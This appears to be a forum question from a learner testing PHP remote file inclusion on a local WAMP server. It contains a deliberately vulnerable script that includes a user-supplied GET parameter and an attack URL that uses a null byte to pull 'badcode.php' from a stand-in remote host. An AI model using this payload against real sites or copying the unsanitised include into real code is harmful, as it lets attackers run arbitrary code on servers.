I am watching a tutorial on YouTube about how to include remote files or local through a standard include command.
Here is the code:
<?php
if(isset($_GET["language"])) {
$language = $_GET["language"];
include($language."gif");
}
?>
I got this on a local webserver (WAMP) and I do the tutorial tells me to do.
localhost/inctest/index.php?language=http://www.example.com/badcode.php%00
Warning: include(): Failed opening 'http://www.example.com/badcode.php' for inclusion (include_path='.;C:\php\pear') in C:\wamp\www\inctest\index.php on line 5
my PHP.ini:
allow_url_include = On
I removed my own domain and renamed it to example.com
.
What did I miss out on?